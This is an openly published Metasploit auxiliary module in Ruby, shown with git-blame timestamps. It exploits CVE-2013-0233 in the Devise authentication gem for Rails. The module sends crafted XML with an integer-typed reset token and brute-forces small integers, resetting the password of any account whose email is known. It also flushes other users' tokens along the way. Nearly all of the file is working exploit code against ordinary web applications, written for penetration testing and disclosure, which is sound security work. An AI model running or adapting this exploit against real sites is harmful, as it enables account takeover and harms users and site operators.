2013-02-11 03:10:00 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-02-11 03:10:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2013-02-11 17:12:29 +00:00
|
|
|
require 'rexml/element'
|
2013-02-11 03:10:00 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-02-11 03:10:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Ruby on Rails Devise Authentication Password Reset',
|
|
|
|
'Description' => %q{
|
|
|
|
The Devise authentication gem for Ruby on Rails is vulnerable
|
|
|
|
to a password reset exploit leveraging type confusion. By submitting XML
|
|
|
|
to rails, we can influence the type used for the reset_password_token
|
|
|
|
parameter. This allows for resetting passwords of arbitrary accounts,
|
|
|
|
knowing only the associated email address.
|
|
|
|
|
|
|
|
This module defaults to the most common devise URIs and response values,
|
|
|
|
but these may require adjustment for implementations which customize them.
|
|
|
|
|
|
|
|
Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
|
|
|
|
except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails
|
|
|
|
3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation
|
|
|
|
of this vulnerability, by quoting numeric values when comparing them with
|
|
|
|
non numeric values.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'joernchen', #original discovery and disclosure
|
|
|
|
'jjarmoc' #metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2013-0233'],
|
|
|
|
[ 'BID', '57577' ],
|
|
|
|
[ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
|
|
|
|
[ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],
|
|
|
|
[ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ],
|
|
|
|
[ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 28 2013'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
|
|
|
|
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
|
2013-11-27 21:35:43 +00:00
|
|
|
OptString.new('OBJECTNAME', [true, 'The user object name', 'user']),
|
2013-08-30 21:28:54 +00:00
|
|
|
OptString.new('PASSWORD', [true, 'The password to set']),
|
|
|
|
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
|
|
|
|
OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_token(account)
|
|
|
|
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
|
|
|
|
|
2013-11-27 21:35:43 +00:00
|
|
|
postdata="#{datastore['OBJECTNAME']}[email]=#{account}"
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => postdata,
|
|
|
|
})
|
|
|
|
|
|
|
|
unless res
|
|
|
|
print_error("No response from server")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
if res.code == 200
|
|
|
|
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
|
|
|
|
print_error("Server returned error")
|
|
|
|
vprint_error(error_text)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
def clear_tokens()
|
|
|
|
count = 0
|
|
|
|
status = true
|
|
|
|
until (status == false) do
|
|
|
|
status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5))
|
|
|
|
count += 1 if status
|
|
|
|
end
|
|
|
|
vprint_status("Cleared #{count} tokens")
|
|
|
|
end
|
|
|
|
|
|
|
|
def reset_one(password, report=false)
|
|
|
|
|
|
|
|
(0..datastore['MAXINT']).each{ |int_to_try|
|
|
|
|
encode_pass = REXML::Text.new(password).to_s
|
|
|
|
|
|
|
|
xml = ""
|
2013-11-27 21:35:43 +00:00
|
|
|
xml << "<#{datastore['OBJECTNAME']}>"
|
2013-08-30 21:28:54 +00:00
|
|
|
xml << "<password>#{encode_pass}</password>"
|
|
|
|
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
|
|
|
|
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
|
2013-11-27 21:35:43 +00:00
|
|
|
xml << "</#{datastore['OBJECTNAME']}>"
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
|
|
'method' => 'PUT',
|
|
|
|
'ctype' => 'application/xml',
|
|
|
|
'data' => xml,
|
|
|
|
})
|
|
|
|
|
|
|
|
unless res
|
|
|
|
print_error("No response from server")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
case res.code
|
|
|
|
when 200
|
|
|
|
# Failure, grab the error text
|
|
|
|
# May need to tweak this for some apps...
|
|
|
|
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
|
|
|
|
if (report) && (error_text !~ /token/)
|
|
|
|
print_error("Server returned error")
|
|
|
|
vprint_error(error_text)
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
when 302
|
2015-04-03 11:12:23 +00:00
|
|
|
# Success!
|
2013-08-30 21:28:54 +00:00
|
|
|
return true
|
|
|
|
else
|
|
|
|
print_error("ERROR: received code #{res.code}")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
|
|
|
|
return false
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
# Clear outstanding reset tokens, helps ensure we hit the intended account.
|
2013-11-28 04:27:45 +00:00
|
|
|
if datastore['FLUSHTOKENS']
|
|
|
|
print_status("Clearing existing tokens...")
|
|
|
|
clear_tokens()
|
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
# Generate a token for our account
|
|
|
|
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
|
|
|
|
status = generate_token(datastore['TARGETEMAIL'])
|
|
|
|
if status == false
|
|
|
|
print_error("Failed to generate reset token")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
print_good("Reset token generated successfully")
|
|
|
|
|
|
|
|
# Reset a password. We're racing users creating other reset tokens.
|
|
|
|
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
|
|
|
|
print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
|
|
|
|
status = reset_one(datastore['PASSWORD'], true)
|
|
|
|
status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
|
|
|
|
end
|
2013-11-28 04:27:45 +00:00
|
|
|
end
|